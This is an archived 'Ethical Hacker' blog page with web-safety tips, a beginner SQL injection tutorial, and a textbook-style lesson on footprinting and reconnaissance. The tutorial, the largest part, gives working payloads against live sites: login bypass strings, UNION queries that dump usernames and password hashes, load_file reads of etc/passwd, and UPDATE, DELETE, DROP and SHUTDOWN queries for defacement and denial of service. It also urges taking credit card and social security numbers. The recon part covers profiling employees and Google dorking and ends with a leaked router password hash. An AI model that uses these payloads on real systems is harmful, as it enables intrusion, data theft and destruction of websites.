Ethical Hacker

Uttarakhand

2013-04-29T19:58:00.007-07:00

Uttarakhand

2013-04-29T19:58:00.005-07:00

Uttarakhand

2013-04-29T19:58:00.003-07:00

Uttarakhand

2013-04-29T19:58:00.001-07:00

Uttarakhand

2013-04-29T19:52:00.007-07:00

Uttarakhand Er. S.P Bahuguna

Uttarakhand

2013-04-29T19:52:00.005-07:00

Uttarakhand Er. S.P Bahuguna

Uttarakhand

2013-04-29T19:52:00.003-07:00

Uttarakhand Er. S.P Bahuguna

Uttarakhand

2013-04-29T19:52:00.001-07:00

Uttarakhand Er. S.P Bahuguna

2012-10-19T12:30:00.000-07:00

Points to remember to stay safe and secure on the WWW.

1. Install a good antivirus/IDS

There are many sites on the net spreading Trojans, viruses and all kind of dirty stuff! If you are without a Anti-Virus, then it is most likely you will get infected within a day or so!

2. Update your OS at least once in 3 days

Never Ever avoid updating your OS no matter if its Linux, Windows , Mac etc. There are exploits released almost every day and if you are without updates then it’s a invite to Hackers.

3. Never blindly click any links

Don’t even trust Google , If the link is given to you from a untrusted location it may point to a Trojan ,Virus , Phished Page , etc..

4. Don’t use same passwords on multiple sites

Using a same password on multiple sites is the worst thing common users do while surfing the web. Same passwords on multiple sites are an easy way for hackers to get access to your other accounts on the web.

5. Avoid registrations when you can do things without it

Most of the people of the net are just unaware of the fact that registering on multiple sites can affect their privacy and can lead to further problems. Eg :- If i hacked a website where you are registered and i find some of your details from the site’s database , These details can help me crack your password on other sites and eventually leading to further attacks.

6. Scan the website before visiting

If your friend sent you a link and you want to test it if it’s secure to visit that site , then you can scan the website for malicious files in some online scanners , (It just take a minute!)

7. Use strong passwords

Powerful Passwords refer to a password which at least contains a letter(Small as well as Capital) , number , Special Character.
I4aUncr4c4b13*@#
Use of keywords like your birth date, name, username etc is a big NO.

8. Don’t trust anybody you don’t know

There are bad guys whole over the World Wide Web (especially on social networking sites), Hunting for victims, they ask for your sensitive information leading to successful exploitation of your account. Read more about Social Engineering for more info

9. Always use a secure browser

Client side attacks are a common way to get access to your machine, today most of the attack are undetectable by AV’s and IDS. Till date I find Mozilla Firefox to be the most secure and Internet Explorer to be the most weak.

2012-10-19T12:15:00.005-07:00

Intro

I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various PHP & MySQL functions in various sites which will help you a lot.

What Is Database?

Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either because of their vulnerability or because of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.

What Is SQL Injection?

SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.

In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..

Bypassing Logins

Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login script is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??

Let's see an example, where the username admin with the password h4ck can login to the site. Suppose, the SQL query for this is carried out as below:

Code:

SELECT USER from database WHERE username='admin' AND password='h4ck'

And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the script is not sanitized. This opens a door for the hackers to gain illegal access to the site.

In this example, the attacker can enter the following user data in the login form:

username:a or 1=1--
password:blank

So, this would make our query as:

Code:

SELECT USER from database WHERE username='a' or 1=1-- AND password=''

Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.

So our above query becomes:

Code:

SELECT USER from database WHERE username='a' or 1=1

Now this query evaluates true even if there is no user called 'a' because 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.

There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.

Few such combinations are:

Code:

username:' or 1='1        password:' or 1='1
username:' or '1'='1'    password:' or '1'='1'
username:or 1=1        password:or 1=1

and there are many more cheat sheets. Just google. In fact, you can create your own such combinations to bypass logins..

That's all about bypassing logins.

Accessing Secret Data

SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.

Checking for vulnerability

Suppose, u got a site:

Code:

site.com/article.php?id=5

Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.
So, it is:

Code:

site.com/article.php?id=5'

Now if the site is not vulnerable, it filters and the page loads normally.
But, if it doesn't filter the query string, it would give the error something like below:
"MySQL Syntax Error By '5'' In Article.php on line 15."
or
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.

Also just using ' may not be the sure test; so you may try different things like:

Code:

site.com/article.php?id=5 union select 1--

If you get error with this, you again come to know that its vulnerable... Just try different things..

Find the number of columns

So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.

That is, we make our URL query as:

Code:

site.com/article.php?id=5 order by 1/*

This didn't give error.

Now, I do increase it to 2.

Code:

site.com/article.php?id=5 order by 2/*

Still no error
So, we need to increase until we get the error.

In my example, I got error when I put the value 3 i.e.

Code:

site.com/article.php?id=5 order by 3/*

This gave me error.

So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.

Addressing Vulnerable Part

Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.

First lets craft the union statement which won't error.. This becomes like this:

Code:

site.com/article.php?id=5 UNION ALL SELECT null/*

This would error because our query needs to have one more null there.. Also null doesnot cause any type conversion error as it is just null..

So for our injection, it becomes:

Code:

site.com/article.php?id=5 UNION ALL SELECT null,null/*

For this we do:

Code:

site.com/article.php?id=5 UNION ALL SELECT 1,2/*

Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.

In my example, 1 is seen on the page. This means, I should replace 1 with my thingsto proceed further. Got it??So lets move forward.

Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT h4ck,null/*

Code:

site.com/article.php?id=5 UNION ALL SELECT null,h4ck/*

If h4ck is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..

Finding MySQL version:

For our injection, it is necessary to find the MySQL version because if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().

So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:

Code:

site.com/article.php?id=5 UNION ALL SELECT @@version,2/*

Code:

site.com/article.php?id=5 UNION ALL SELECT version(),2/*

So, this would return the version of MySQL running on the server.

But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:

Code:

site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*

Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.

@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.

Quick note: Also, you may check for user, database,etc.. by using following:

Code:

site.com/article.php?id=5 UNION ALL SELECT user(),2/*
site.com/article.php?id=5 UNION ALL SELECT database(),2/*

MySQL 5 or above injection:

Here, I m gonna show u how to access data in the server running MySQL 5 or above.

U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.

For getting table list, we use: table_name from information_schema.tables

For getting column list, we use: column_name from information_schema.columns

So our query for getting the table list in our example would be:

Code:

site.com/article.php?id=5 UNION ALL SELECT table_name,2 FROM information_schema.tables/*

And yeah if u had to use unhex(hex()) while finding version, u will have to do:

Code:

site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*

This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.

Similarly, to get the column list, we would make our query as:

Code:

site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*

This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.

Alternatively to find the column in the specific table, u can do something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'

This would display the columns present in the table tbluser. But this may not work always based on PHP.INI so hex up.

Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.

There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using semicolon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)

What I do is:

Code:

site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*

And this gives me the username and password like below:

Code:

admin:9F14974D57DE204E37C11AEAC3EE4940

Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(openwalls.org), Cain & Able(oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as h4ck.

Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.

MySQL version 4 injection:

Now say ur victim has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 because it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the MySQL version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports h4ck _article in the error.. So, you know that h4ck_ is the prefix used in the table names...

Anyway, lets go for MySQL version 4 injection...

For example, u would do as below:

Code:

site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*

Here, I guessed for the table name as user. But this gave me the error because the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.

When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.

Code:

site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*

The page loaded normally. Now again u have to guess the column names present in the tbluser table.

I do something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*
    //this gave me error so there is no column with this name.
    site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*
    //It loaded the page normally along with the username from the table.
    site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*
    //it errored so again the column pass doesnot exist in the table tbluser.
    site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*
    //the page loaded normally with password hash(or plaintext password).

Now u may do this:

Code:

site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*

This gave me:
admin:9F14974D57DE204E37C11AEAC3EE4940

On cracking, I got h4ck as password. Now I just need to login the site and do whatever I wanted.

Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...

U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.

Modifying Site Content

Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.

Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed. But stacked queries donot work in MySQL.

First let me list these commands:

UPDATE: It is used to edit infos already in the db without deleting any rows.
DELETE: It is used to delete the contents of one or more fields.
DROP: It is used completely delete a table & all its associated data.
Now, u could have figured out that these commands can be very desctructive if the site lets us to interact with db with no sanitization & proper permission.
Command Usage:
UPDATE: Our vulnerable page is:

Code:

site.com/article.php?id=5

Lets say the query is:

Code:

SELECT title,data,author FROM article WHERE id=5

Though in reality, we don't know the query as above, we can find the table and column name as discussed earlier.

So we would do:

Code:

site.com/article.php?id=5 UPDATE article SET title='Hacked By h4ck'/*

or, u could alternatively do:

Code:

site.com/article.php?id=5 UPDATE article SET title='HACKED BY h4ck',data='Ur site has zero    
    security',author='h4ck'/*

By executing first query, we have set the title value as 'Hacked By h4ck' in the table article while in second query, we have updated all three fields title, data, & author in the table article.
Sometimes, u may want to change the specific page with id=5. For this u will do:

Code:

site.com/article.php?id=5 UPDATE article SET title='value 1',data='value 2',author='value 3' WHERE id=5/*

DELETE:As already stated, this deletes the content of one or more fields permanently from the db server.
The syntax is:

Code:

site.com/article.php?id=5 DELETE title,data,author FROM article/*

or if u want to delete these fields from the id=5, u will do:

Code:

site.com/article.php?id=5 DELETE title,data,author FROM article WHERE id=5/*

DROP:This is another deadly command u can use. With this, u can delete a table & all its associated data.
For this, we make our URL as:

Code:

site.com/article.php?id=5 DROP TABLE article/*

This would delete table article & all its contents.

Finally, I want to say little about ;

Though I have not used this in my tutorial, u can use it to end ur first query and start another one.

This ; can be kept at the end of our first query so that we can start new query after it.

Shutting Down MySQL Server

This is like DoSing the server as it will make the MySQL resources unavailable for the legitimate users or site visitors... For this, you will be using: SHUTDOWN WITH NOWAIT;

So, you would craft a query which would execute the above command...

For example, in my case, I would do the following:

Code:

site.com/article.php?id=5 SHUTDOWN WITH NOWAIT;

WOW! the MySQL server is down... This would prevent legitimate users & site visitors from using or viewing MySQL resources...

Loadfile

MySQL has a function called load_file which you can use for your benefits again.. I have not seen much site where I could use this function... I think we should have MySQL root privilege for this.... Also, the magic quotes should be off for this.. But there is a way to get past the magic quotes... load_file can be used to load certain files of the server such as .htaccess, .htpasswd, etc.. & also password files like etc/passwd, etc..

Do something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT load_file('etc/passwd'),2/*

But sometimes, you will have to hex the part & do something like below:

Code:

site.com/article.php?id=5 UNION ALL SELECT load_file(0x272F6574632F70617373776427)

where I have hexed... Now, if we are lucky, the script would echo the etc/passwd in the result..

MySQL Root

If the MySQL version is 5 or above, we might be able to gain MySQL root privilege which will again be helpful for us.. MySQL servers from version 5 have a table called mysql.user which contains the hashes & usernames for login... It is in the user table of the MySQL database which ships with every installation of MySQL..

For this, you will do:

Code:

site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*

Now you will get the usernames & hashes.. The hash is mysqlsha1... Quick note: JTR won't crack it.. But insidepro.com has one to do it..

Major MySQL Commands

Below, I would list some major MySQL commands that might help you a lot... Play with them in different ways by setting up a MySQL server in your computer..

All the commands here are copy pasted from the post at h4cky0u & the credit for this part goes to the original author.. This is the only part which I didn't write myself.. I could have but since there is better one, I thought to put the same part here.. Thanks to whoever posted this in h4cky0u site.. & also full credits to him/her for this part..

ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database

Finalizing The Injection Tutorial

I know I have missed some things like outfile, WHERE clause, blind injection,etc... If I get time, I would try to update the tutorial with these.. Also for all sql injectors, think in a broad way.. & hexing is an important part in sql injection.. Sometimes the things that can't be done with normal ways can be done by using the hex part.. & be sure to try things with char(), hex() functions.. With these, you can bypass magic quotes on the server.. Again, within the UNION statement, you may try to use the XSS which would be sometimes helpful for you..

Code:

site.com/article.php?id=5 UNION ALL SELECT <script>
alert("XSS via SQL injection");
</script>,2/*

Again in the above injection, you may require to hex up the javascript part for bypassing the magic quotes..

Also for starters & those who know little things, you may setup a MySQL server & configure PHP for your apache server in your localhost where you can try different things..

In the command line interface of MySQL, try various commands enlisted below.. Try by modifying them... This would help you improve your MySQL command knowledge.. Also try to see how PHP codes interact with MySQL server.. For example, install some free forums like PHPBB, SMF,etc.. or some content management system as it would help you in two ways.. First, you would learn how the PHP interacts with MySQL.. You may check MySQL folder with what changes has occured after installing them.. What would happen if I do this? or that?? etc..etc.. Second, you may be able to find bugs in them.. like rfi in some part of the code or sql injection in another part or maybe csrf injection,etc.. That would help you to learn new things because you all know practice makes the man perfect...

2012-10-19T12:11:00.001-07:00

Introduction

This lesson introduces you to the two of the most important pre-attach phases: foot printing and scanning. Although these steps don't constitute breaking in, they occur at the point which a hacker will start to get interactive. The goal here is to discover what a hacker or other malicious user can uncover about the organization, its technical infrastructure, locations, employees, policies, security stance, and financial situation. Just as most hardened criminals don't just heist an armored car, elite hackers won't attack a network before they understand what they are up against. Even script kiddies can do some amount of pre-attach reconnaissance as they look for a target of opportunity.

This lesson starts off by looking at some general ways that individuals can attempt to gain information about an organization passively and without the organization's knowledge. Next, it gets interactive and reviews scanning techniques. The goal of scanning is to discover open ports and applications.

Determining Assessment Scope

What's the goal of the penetration (pen) test? Before starting any ethical hacking job, it's important that you determine the scope of the assignment. These kinds of details should have been worked out in the written agreement that specifies the scope of the engagement. Is the entire organization, a particular location, or one division to be examined, and will any subsidiaries be assessed? These are some questions that need to be answered up front before you begin any activity. Why is this mentioned here? Because you always want to make sure that you have legal written permission before you begin any foot printing or testing. Once an agreement is in place, there might still be logistical problems. Scope creep can be one of the biggest logistical problems you can face. Scope creep is the expansion of the assignment beyond its original specification. The client might want to expand the pen test beyond its original specifications; if so, make sure that the new requirements are added to the contract and that proper written authorization has been obtained.

The Seven-Step Information Gathering Process

Objectives:
Define the seven-step information gathering process
Define foot printing

foot printing is about information gathering and is both passive and active. Reviewing the company's website is an example of passive foot printing, whereas calling the help desk and attempting to social engineering them out of privileged information is an example of active information gathering. Scanning entails pinging machines, determining network ranges and port scanning individual systems. The EC-Council divides foot printing and scanning into

seven basic steps. These include:
1. Information gathering
2. Determining the network range
3. Identifying active machines
4. Finding open ports and access points
5. OS fingerprinting
6. Fingerprinting services
7. Mapping the network

Many times, students ask for a step-by-step method of information gathering. Realize that these are just general steps and that ethical hacking is really the process of discovery. Although the material discussed in this class is covered in an ordered approach, real life sometimes varies. When performing these activities, you might find that you are led in a different direction than what you originally envisioned.

Information Gathering

The information gathering steps of foot printing and scanning are of utmost importance. Good information gathering can make the difference between a successful pen test and one that has failed to provide maximum benefit to the client. An amazing amount of information is available about most organizations in business today. This information can be found on the organization's website, trade papers, Usenet, financial databases, or even from disgruntled employees. Some potential sources are discussed, but first, let's review documentation.

Documentation

One important aspect of information gathering is documentation. Most people don't like paperwork, but it's a requirement that can't be ignored. The best way to get off to a good start is to develop a systematic method to profile a target and record the results. Create a matrix with fields to record domain name, IP address, DNS servers, employee information, email addresses, IP address range, open ports, and banner details. Figure 3.1 gives an example of what your information matrix might look like when you start the documentation process.

Building this type of information early on will help in mapping the network and planning the best method of attack.

The Organization's Website

With the initial documentation out of the way, it's time to get started. The best place to begin is the organization's website. You want to look for open source information, which is information freely provided to clients, customers, or the general public. Let's look at an example of a local web hosting company. A quick review of its site shows it has a news and updates section. Recent news states the following:

"We are proud to have just updated all of our Cobalt servers to Plesk7 Virtual Site Servers. Anyone logging in to these new servers as admin should use the username of the domain, for example, www.xyz.com. The passwords have been transferred from the old servers, so no password reset should be required. We used the existing domain administrator password. Our continued alliance with Enterasys has allowed us to complete our transition from Cisco equipment. These upgrades, along with our addition of a third connection to the Internet, give us a high degree of fault tolerance."

You might consider this good marketing information to provide potential clients. The problem is that this information is available to anyone who browses the website. This information allows attackers to know that the new systems are Linux-based and that the network equipment is all Enterasys. If attackers were planning to launch a denial of service (DoS) attack against the organization, they now know that they must knock out three nodes to the Internet. Even a competitor would benefit from this knowledge as the company is telling the competition everything about its infrastructure.

TIP

The wayback machine located at www.archive.org can be used to browse archived web pages that date back to 1996. It's a useful tool for looking for information that no longer exists on a site.

Another big information leakage point is the company directories. These usually identify key employees or departments. By combining this information with a little social engineering, an attacker can call the help desk, pretend he works for one of these key employees, and demand that a password be reset or changed. He could also use biographical information about a key employee to perform other types of social engineering trickery. Kevin Mitnick used just this type of attack to gain access to restricted code that detailed the operation of Motorola cell phones. During a pen test, you will want to record any such findings and make sure to alert the organization as to what information is available and how it might be used in an attack.

NOTE

Gather emails from the target site that can be used for more than just social engineering. One method to gain additional information about the organization's email server is to send an email that will bounce from the site. If the site is www.xyz.com, send a mail to badaddress@xyz.com. It will bounce back to you and give you information in its header, including the email server IP address and email server version. Another great reason for bouncing an email message is to find out if they make use of mail scrubber as well. Whatever you find, you will want to copy the information from the headers and make note of it as you continue to gather information.

Job Boards

If you're lucky, the company has a job posting board. Look this over carefully, as you will be surprised at how much information is given here. If no job listings are posted on the organization's website, get interactive and check out some of the major Internet job boards. Some popular sites are

Careerbuilder.com
Monster.com
Dice.com
TheITjobboard.com

Once at the job posting site, query for the organization. Here's an example of the type of information typically found:

Primary responsibilities for this position include management of a Windows 2000 Active Directory environment, including MS Exchange 2000, SQL 2000, and Citrix.
Interact with the technical support supervisor to resolve issues and evaluate/maintain patch level and security updates.
Experience necessary in: Active Directory, Microsoft Clustering and Network Load-Balancing, MS Exchange 2000, MS SQL 2000, Citrix MetaFrame XP, EMC CX-400 SAN-related or other enterprise level SAN, Veritas Net Backup, BigBrother, and NetIQ Monitoring SW.
Maintain, support, and troubleshoot a Windows NT/2000 LAN.

Did these organizations give away any information that might be valuable to an attacker? They actually have told attackers almost everything about their network. Just the knowledge that the organization is still running Windows NT/2000 is extremely valuable.

NOTE
One method to reduce the information leakage from job postings is to reduce the system specific information in the job post or to use a company confidential job posting. Company confidential postings hide the true company's identity and make it harder for attackers to misuse this type of information.

Alternative Websites

If information is leaked on a company website, it cannot always be quickly removed. So, what if sensitive information is on a website that an organization does not control? There's always the chance that disgruntled employees might have leaked this information on purpose. That's why any good information gathering process will include visiting the darker corners of the Internet. Layoffs, reductions in force, and outsourcing are the types of events that don't necessarily put the staff in the best of moods. It could be that the organization's insiders have posted information that could be rather damaging. These unhappy individuals are potential sources of information leakage. This information might be posted on a blog, some type of "sucks" domain, or other site. Shown in Figure 3.2 is the Gap sucks domain. Although the legality of these domains depends on the type of information provided and their status as a non-commercial entity, their existence is something you should be aware of.

Frustrated employees will always find some way to vent their thoughts even if not from a "sucks" domain. One such site that might offer other insider information is internalmemos. com. This site lists information that is usually sensitive and that probably shouldn't be released to the general public. Although some of the content is free, most of the content is considered premium and must be purchased to be viewed. One such document found after a search on the word "security" is shown in Figure 3.3. Don't be surprised at what you find on this site or others like it.

Some other sites that can be used to gather information about the target organization and its employees include:

zabasearch.com-Contains names, addresses, phone numbers, date of birth, and other information about individuals.
anywho.com-Phone book offering forward and reverse lookups.
maps.yahoo.com-Yahoo! map site.

In combination, these sites allow attackers to locate key individuals, identify their home phone numbers, and even create maps to their houses. Attackers can even see the surroundings of the company or the home they are targeting with great quality satellite pictures.

NOTE

Although some organizations might be relatively secure, gaining the names, addresses, and locations of key employees can allow attackers to war drive their homes and possibly backdoor the organization through an insecure employee's computer.

Free Speech and the Web

As an IT employee of Kmart, I saw firsthand the way internal practice and policies affected the company. That's why after I was fired, I set up one of the very first "sucks" websites. In less time than it takes to announce a blue light special, my site had attracted more than 9,000 visitors. I felt that the site was non-commercial and complied with the law and while Kmart recognized that the content was either true or opinion, the company did threaten me with legal action for the use of the Kmart logo. Therefore, I changed the logo and the name to "The Mart Sucks." I believe that the Internet is successful because of its commitment to open standards, freedom of information, and freedom of speech. Any actions that limit these freedoms and make it less hospitable to the average person shouldn't be tolerated. This "in the field" segment was contributed by Rodney Fournier, president and lead consultant for Net Working America, Inc. Rodney is an expert in clustering technologies and is a Microsoft MVP.

EDGAR Database

If the organization you are working for is publicly traded, you will want to review the Security and Exchange commision's EDGAR database. It's located at www.sec.gov. A ton of information is available at this site. Hackers focus on the 10-Q and 10-K. These two documents contain yearly and quarterly reports. Not only do these documents contain earnings and potential revenue, but also details about any acquisitions and mergers. Anytime there is a merger or one firm acquires another, there is a rush to integrate the two networks. Having the networks integrated is more of an immediate concern than security. Therefore, you will be looking for entity names that are different from the parent organization. These findings might help you discover ways to jump from the subsidiary to the more secure parent company. You will want to record this information and have it ready when you start to research the IANA and ARIN databases.

Google Hacking

Most of us use Google or another search engine to locate information. What you might not know is that search engines, such as Google, have the capability to perform much more powerful searches than most people ever dream of. Not only can Google translate documents, perform news searches, do image searches, but it can also be used by hackers and attackers to do something that has been termed Google hacking. By using basic search techniques combined with advanced operators, Google can become a powerful vulnerability search tool. Some advanced operators include those shown in

Google Search Terms Operator and their Description
Filetype

This operator directs Google to search only within the test of a particular type of file.
Example: filetype:xls

Inurl

This operator directs Google to search only within the specified URL of a document.
Example: inurl:search-text

Link

The link operator directs Google to search within hyperlinks for a specific term.
Example link:www.domain.com

Intitle

The intitle operator directs Google to search for a term within the title of a document.
Example intitle: "Index of…etc"

By using the advanced operators shown in above in combination with key terms, Google can be used to uncover many pieces of sensitive information that shouldn't be revealed. A term even exists for the people who blindly post this information on the Internet; they are called google dorks. To see how this works, enter the following phrase into Google:

allinurl:tsweb/default.htm

This query will search in a URL for the tsweb/default.htm string. The search found over 200 sites that had the tsweb/default folder. One of these sites is shown in Figure 3.4. As you can see, this could represent an easy way for a hacker to log directly in to the organization's servers. Also, notice that there is no warning banner or other notice that unauthorized users should not attempt to connect. Finally, don't forget that finding a vulnerability using Google is not unethical, but using that vulnerability is unless you have written permission from the domain owner. To learn more about Google hacking, take a look at http://johnny.ihackstuff.com. The site's owner, Johnny Long, has also written an excellent book on the subject, Google Hacking for Penetration Testers.

USENET

USENET is a user's network, which is nothing more than a collection of the thousands of discussion groups that reside on the Internet. Each discussion group contains information and messages centered on a specific topic. Messages are posted and responded to by readers either as public or private emails. Even without direct access to USENET, a convenient way to browse the content is by using Google Groups. Google Groups allow any Internet user a way to post and read USENET messages. During a penetration test, you will want to review Google Groups for postings from the target company.

One way to search is to use individual's names you might have uncovered; another is to do a simple search of the company. Searching for @company.com will work. Many times, this will reveal useful information. One company that a security consultant performed some work for had listings from the network administrator. He had been asked to set up a new router and was having trouble getting it configured properly. The administrator had not only asked the group for help, but had also posted the router configuration to see if someone could help figure out what was wrong. The problem was that the configuration file had not been sanitized and not only contained IP addresses but also the following information:

enable secret 5 $1$2RKf$OMOAcvzpb7j9uhfw6C5Uj1
enable password 7 583132656321654949

